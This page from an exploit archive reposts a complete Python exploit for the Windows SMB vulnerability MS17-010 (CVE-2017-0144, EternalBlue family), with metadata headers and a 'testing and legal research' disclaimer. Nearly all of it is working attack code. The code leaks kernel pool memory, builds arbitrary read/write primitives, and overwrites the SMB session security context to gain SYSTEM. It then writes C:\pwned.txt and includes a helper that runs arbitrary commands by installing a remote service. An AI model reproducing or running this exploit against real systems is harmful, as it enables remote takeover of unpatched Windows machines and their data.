Advertisement






Microsoft Windows EternalBlue SMB Remote Code Execution .py Exploit

CVE Category Price Severity
CVE-2017-0144 CWE-119 Not specified Critical
Author Risk Exploitation Type Date
NSA (National Security Agency) High Remote 2017-07-12
CPE
cpe:cpe:/a:microsoft:windows
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017070094

Below is a copy:

Microsoft Windows EternalBlue SMB Remote Code Execution .py Exploit#!/usr/bin/python
from impacket import smb, smbconnection
from mysmb import MYSMB
from struct import pack, unpack, unpack_from
import sys
import socket
import time
 
'''
MS17-010 exploit for Windows 7+ by sleepya
 
Note:
- The exploit should never crash a target (chance should be nearly 0%)
- The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed
 
Tested on:
- Windows 2016 x64
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x64
- Windows 8.1 x86
- Windows 7 SP1 x86
'''
 
USERNAME = ''
PASSWORD = ''
 
'''
Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()
win7 x64
struct SrvSecContext {
    DWORD xx1; // second WORD is size
    DWORD refCnt;
    PACCESS_TOKEN Token;  // 0x08
    DWORD xx2;
    BOOLEAN CopyOnOpen; // 0x14
    BOOLEAN EffectiveOnly;
    WORD xx3;
    DWORD ImpersonationLevel; // 0x18
    DWORD xx4;
    BOOLEAN UsePsImpersonateClient; // 0x20
}
win2012 x64
struct SrvSecContext {
    DWORD xx1; // second WORD is size
    DWORD refCnt;
    QWORD xx2;
    QWORD xx3;
    PACCESS_TOKEN Token;  // 0x18
    DWORD xx4;
    BOOLEAN CopyOnOpen; // 0x24
    BOOLEAN EffectiveOnly;
    WORD xx3;
    DWORD ImpersonationLevel; // 0x28
    DWORD xx4;
    BOOLEAN UsePsImpersonateClient; // 0x30
}
 
SrvImpersonateSecurityContext() is used in Windows 7 and later before doing any operation as logged on user.
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. 
From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
STATUS_SUCCESS when Token is NULL.
If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM)
to do all SMB operations.
Note: fake Token might be possible, but NULL token is much easier.
'''
WIN7_INFO = {
    'SESSION_SECCTX_OFFSET': 0xa0,
    'SESSION_ISNULL_OFFSET': 0xba,
    'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),
    'SECCTX_SIZE': 0x28,
}
 
WIN7_32_INFO = {
    'SESSION_SECCTX_OFFSET': 0x80,
    'SESSION_ISNULL_OFFSET': 0x96,
    'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),
    'SECCTX_SIZE': 0x1c,
}
 
# win8+ info
WIN8_INFO = {
    'SESSION_SECCTX_OFFSET': 0xb0,
    'SESSION_ISNULL_OFFSET': 0xca,
    'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),
    'SECCTX_SIZE': 0x38,
}
 
WIN8_32_INFO = {
    'SESSION_SECCTX_OFFSET': 0x88,
    'SESSION_ISNULL_OFFSET': 0x9e,
    'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),
    'SECCTX_SIZE': 0x24,
}
 
X86_INFO = {
    'PTR_SIZE' : 4,
    'PTR_FMT' : 'I',
    'FRAG_TAG_OFFSET' : 12,
    'POOL_ALIGN' : 8,
    'SRV_BUFHDR_SIZE' : 8,
    'TRANS_SIZE' : 0xa0,  # struct size
    'TRANS_FLINK_OFFSET' : 0x18,
    'TRANS_INPARAM_OFFSET' : 0x40,
    'TRANS_OUTPARAM_OFFSET' : 0x44,
    'TRANS_INDATA_OFFSET' : 0x48,
    'TRANS_OUTDATA_OFFSET' : 0x4c,
    'TRANS_FUNCTION_OFFSET' : 0x72,
    'TRANS_MID_OFFSET' : 0x80,
}
 
X64_INFO = {
    'PTR_SIZE' : 8,
    'PTR_FMT' : 'Q',
    'FRAG_TAG_OFFSET' : 0x14,
    'POOL_ALIGN' : 0x10,
    'SRV_BUFHDR_SIZE' : 0x10,
    'TRANS_SIZE' : 0xf8,  # struct size
    'TRANS_FLINK_OFFSET' : 0x28,
    'TRANS_INPARAM_OFFSET' : 0x70,
    'TRANS_OUTPARAM_OFFSET' : 0x78,
    'TRANS_INDATA_OFFSET' : 0x80,
    'TRANS_OUTDATA_OFFSET' : 0x88,
    'TRANS_FUNCTION_OFFSET' : 0xb2,
    'TRANS_MID_OFFSET' : 0xc0,
}
 
 
def wait_for_request_processed(conn):
    #time.sleep(0.05)
    # send echo is faster than sleep(0.05) when connection is very good
    conn.send_echo('a')
 
special_mid = 0
extra_last_mid = 0
def reset_extra_mid(conn):
    global extra_last_mid, special_mid
    special_mid = (conn.next_mid() & 0xff00) - 0x100
    extra_last_mid = special_mid
     
def next_extra_mid():
    global extra_last_mid
    extra_last_mid += 1
    return extra_last_mid
 
# Borrow 'groom' and 'bride' word from NSA tool
# GROOM_TRANS_SIZE includes transaction name, parameters and data
GROOM_TRANS_SIZE = 0x5010
 
 
def calc_alloc_size(size, align_size):
    return (size + align_size - 1) & ~(align_size-1)
 
def leak_frag_size(conn, tid, fid, info):
    # A "Frag" pool is placed after the large pool allocation if last page has some free space left.
    # A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
    # To make exploit more generic, exploit does info leak to find a "Frag" pool size.
    # From the leak info, we can determine the target architecture too.
    mid = conn.next_mid()
    req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-4)
    req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
     
    conn.send_raw(req1[:-8])
    conn.send_raw(req1[-8:]+req2)
    leakData = conn.recv_transaction_data(mid, 0x10d0+276)
    leakData = leakData[0x10d4:]  # skip parameters and its own input
    if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
        print('Target is 32 bit')
        if info['SESSION_SECCTX_OFFSET'] == WIN7_INFO['SESSION_SECCTX_OFFSET']:
            info.update(WIN7_32_INFO)
        elif info['SESSION_SECCTX_OFFSET'] == WIN8_INFO['SESSION_SECCTX_OFFSET']:
            info.update(WIN8_32_INFO)
        else:
            print('The exploit does not support this 32 bit target')
            sys.exit()
        info.update(X86_INFO)
    elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':
        print('Target is 64 bit')
        info.update(X64_INFO)
    else:
        print('Not found Frag pool tag in leak data')
        sys.exit()
     
    # Calculate frag pool size
    info['FRAG_POOL_SIZE'] = ord(leakData[ info['FRAG_TAG_OFFSET']-2 ]) * info['POOL_ALIGN']
    print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
 
    # groom: srv buffer header
    info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
    print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
    # groom paramters and data is alignment by 8 because it is NT_TRANS
    info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - 4 - 4 - info['TRANS_SIZE']  # empty transaction name (4), alignment (4)
 
    # bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
    bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']
    info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])
    print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
    # bride paramters and data is alignment by 4 because it is TRANS
    info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - 4 - info['TRANS_SIZE']  # empty transaction name (4)
 
    return info['FRAG_POOL_SIZE']
 
 
def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
    trans_param = pack('<HH', fid, 0)  # param for NT_RENAME
    # fill large pagedpool holes (maybe no need)
    for i in range(numFill):
        conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)
 
    mid_ntrename = conn.next_mid()
    req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0)
    req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes
 
    req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000)
    reqs = []
    for i in range(12):
        mid = next_extra_mid()
        reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))
 
    conn.send_raw(req1[:-8])
    conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
     
    # expected transactions alignment ("Frag" pool is not shown)
    #
    #    |         5 * PAGE_SIZE         |   PAGE_SIZE    |         5 * PAGE_SIZE         |   PAGE_SIZE    |
    #    +-------------------------------+----------------+-------------------------------+----------------+
    #    |    GROOM mid=mid_ntrename        |  extra_mid1 |         GROOM mid=fid            |  extra_mid2 |
    #    +-------------------------------+----------------+-------------------------------+----------------+
    #
    # If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked.
    # From leaked transaction, we get
    # - leaked transaction address from InParameter or InData
    # - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink
    # With these information, we can verify the transaction aligment from displacement.
 
    leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276)
    leakData = leakData[0x10d4:]  # skip parameters and its own input
    #open('leak.dat', 'wb').write(leakData)
 
    if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':
        print('Not found Frag pool tag in leak data')
        return None
     
    # ================================
    # verify leak data
    # ================================
    leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:]
    # check pool tag and size value in buffer header
    expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])
    leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']
    if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size:
        print('No transaction struct in leak data')
        return None
 
    leakTrans = leakData[leakTransOffset:]
 
    ptrf = info['PTR_FMT']
    _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+ptrf*5, leakTrans, 8)
    inparam_value = unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]
    leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
 
    print('CONNECTION: 0x{:x}'.format(connection_addr))
    print('SESSION: 0x{:x}'.format(session_addr))
    print('FLINK: 0x{:x}'.format(flink_value))
    print('InParam: 0x{:x}'.format(inparam_value))
    print('MID: 0x{:x}'.format(leak_mid))
 
    next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000
    if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value:
        print('unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr))
        return None
    # trans1: leak transaction
    # trans2: next transaction
    return {
        'connection': connection_addr,
        'session': session_addr,
        'next_page_addr': next_page_addr,
        'trans1_mid': leak_mid,
        'trans1_addr': inparam_value - info['TRANS_SIZE'] - 4,
        'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'],
        'special_mid': special_mid,
    }
 
def read_data(conn, info, read_addr, read_size):
    fmt = info['PTR_FMT']
    # modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
    # modify trans2.*ParameterCount and trans2.*DataCount to limit data
    new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr)  # OutParameter, InData, OutData
    new_data += pack('<II', 0, 0)  # SetupCount, MaxSetupCount
    new_data += pack('<III', 8, 8, 8)  # ParamterCount, TotalParamterCount, MaxParameterCount
    new_data += pack('<III', read_size, read_size, read_size)  # DataCount, TotalDataCount, MaxDataCount
    new_data += pack('<HH', 0, 5)  # Category, Function (NT_RENAME)
    conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
     
    # create one more transaction before leaking data
    # - next transaction can be used for arbitrary read/write after the current trans2 is done
    # - next transaction address is from TransactionListEntry.Flink value
    conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000)
 
    # finish the trans2 to leak
    conn.send_nt_trans_secondary(mid=info['trans2_mid'])
    read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
     
    # set new trans2 address
    info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
     
    # set trans1.InData to &trans2
    conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
    wait_for_request_processed(conn)
 
    # modify trans2 mid
    conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
    wait_for_request_processed(conn)
     
    return read_data[8:]  # no need to return parameter
 
 
def write_data(conn, info, write_addr, write_data):
    # trans2.InData
    conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
    wait_for_request_processed(conn)
     
    # write data
    conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
    wait_for_request_processed(conn)
 
 
def exploit(target, pipe_name):
    conn = MYSMB(target)
     
    # set NODELAY to make exploit much faster
    conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
 
    info = {}
 
    conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
    server_os = conn.get_server_os()
    print('Target OS: '+server_os)
    if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):
        info.update(WIN7_INFO)
    elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 "):
        info.update(WIN8_INFO)
    else:
        print('This exploit does not support this target')
        sys.exit()
 
    # ================================
    # try align pagedpool and leak info until satisfy
    # ================================
    leakInfo = None
    # max attempt: 10
    for i in range(10):
        tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
        conn.set_default_tid(tid)
        # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
        fid = conn.nt_create_andx(tid, pipe_name)
        if 'FRAG_POOL_SIZE' not in info:
            leak_frag_size(conn, tid, fid, info)
        reset_extra_mid(conn)
        leakInfo = align_transaction_and_leak(conn, tid, fid, info)
        if leakInfo is not None:
            break
        print('leak failed... try again')
        conn.close(tid, fid)
        conn.disconnect_tree(tid)
    if leakInfo is None:
        return False
     
    info['fid'] = fid
    info.update(leakInfo)
 
    # ================================
    # shift trans1.Indata ptr with SmbWriteAndX
    # ================================
    shift_indata_byte = 0x200
    conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte)
 
    # Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place.
    #       So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
    # maxParameterCount (0x1000), trans name (4), param (4)
    indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
    indata_next_trans_displacement = info['trans2_addr'] - indata_value
    conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
    wait_for_request_processed(conn)
 
    # if the overwritten is correct, a modified transaction mid should be special_mid now.
    # a new transaction with special_mid should be error.
    recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')
    if recvPkt.getNTStatus() != 0x10002:  # invalid SMB
        print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
        print('!!! Write to wrong place !!!')
        print('the target might be crashed')
        sys.exit()
 
    print('success controlling groom transaction')
 
    # NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
    # but this method make the transation never get freed
    # I will avoid memory leak
     
    # ================================
    # modify trans1 struct to be used for arbitrary read/write
    # ================================
    print('modify trans1 struct for arbitrary read/write')
    fmt = info['PTR_FMT']
    # modify trans_special.InData to &trans1
    conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])
    wait_for_request_processed(conn)
 
    # modify
    # - trans1.InParameter to &trans1. so we can modify trans1 struct with itself
    # - trans1.InData to &trans2. so we can modify trans2 easily
    conn.send_nt_trans_secondary(mid=info['special_mid'], data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])
    wait_for_request_processed(conn)
 
    # modify trans2.mid
    info['trans2_mid'] = conn.next_mid()
    conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
 
    # Now, read_data() and write_data() can be used for arbitrary read and write.
    # ================================
    # Modify this SMB session to be SYSTEM
    # ================================  
    # Note: Windows XP stores only PCtxtHandle and uses ImpersonateSecurityContext() for impersonation, so this
    #         method does not work on Windows XP. But with arbitrary read/write, code execution is not difficult.
     
    print('make this SMB session to be SYSTEM')
    # IsNullSession = 0, IsAdmin = 1
    write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')
 
    # read session struct to get SecurityContext address
    sessionData = read_data(conn, info, info['session'], 0x100)
    secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
 
    # copy SecurityContext for restoration
    secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
 
    print('overwriting session security context')
    # see FAKE_SECCTX detail at top of the file
    write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
 
    # ================================
    # do whatever we want as SYSTEM over this SMB connection
    # ================================  
    try:
        smb_pwn(conn)
    except:
        pass
 
    # restore SecurityContext. If the exploit does not use null session, PCtxtHandle will be leaked.
    write_data(conn, info, secCtxAddr, secCtxData)
 
    conn.disconnect_tree(tid)
    conn.logoff()
    conn.get_socket().close()
    return True
 
def smb_pwn(conn):
    smbConn = smbconnection.SMBConnection(conn.get_remote_host(), conn.get_remote_host(), existingConnection=conn, manualNegotiate=True)
     
    print('creating file c:\\pwned.txt on the target')
    tid2 = smbConn.connectTree('C$')
    fid2 = smbConn.createFile(tid2, '/pwned.txt')
    smbConn.closeFile(tid2, fid2)
    smbConn.disconnectTree(tid2)
     
    #service_exec(smbConn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
 
# based on impacket/examples/serviceinstall.py
def service_exec(smbConn, cmd):
    import random
    import string
    from impacket.dcerpc.v5 import transport, srvs, scmr
     
    service_name = ''.join([random.choice(string.letters) for i in range(4)])
 
    # Setup up a DCE SMBTransport with the connection already in place
    rpctransport = transport.SMBTransport(smbConn.getRemoteHost(), smbConn.getRemoteHost(), filename=r'\svcctl', smb_connection=smbConn)
    rpcsvc = rpctransport.get_dce_rpc()
    rpcsvc.connect()
    rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
    svnHandle = None
    try:
        print("Opening SVCManager on %s....." % smbConn.getRemoteHost())
        resp = scmr.hROpenSCManagerW(rpcsvc)
        svcHandle = resp['lpScHandle']
         
        # First we try to open the service in case it exists. If it does, we remove it.
        try:
            resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')
        except Exception, e:
            if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
                raise e  # Unexpected error
        else:
            # It exists, remove it
            scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
            scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])
         
        print('Creating service %s.....' % service_name)
        resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
        serviceHandle = resp['lpServiceHandle']
         
        if serviceHandle:
            # Start service
            try:
                print('Starting service %s.....' % service_name)
                scmr.hRStartServiceW(rpcsvc, serviceHandle)
                # is it really need to stop?
                # using command line always makes starting service fail because SetServiceStatus() does not get called
                print('Stoping service %s.....' % service_name)
                scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
            except Exception, e:
                print(str(e))
             
            print('Removing service %s.....' % service_name)
            scmr.hRDeleteService(rpcsvc, serviceHandle)
            scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
    except Exception, e:
        print("ServiceExec Error on: %s" % smbConn.getRemoteHost())
        print(str(e))
    finally:
        if svcHandle:
            scmr.hRCloseServiceHandle(rpcsvc, svcHandle)
 
    rpcsvc.disconnect()
 
 
if len(sys.argv) != 3:
    print("{} <ip> <pipe_name>".format(sys.argv[0]))
    sys.exit(1)
 
target = sys.argv[1]
pipe_name = sys.argv[2]
 
exploit(target, pipe_name)
print('Done')



Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum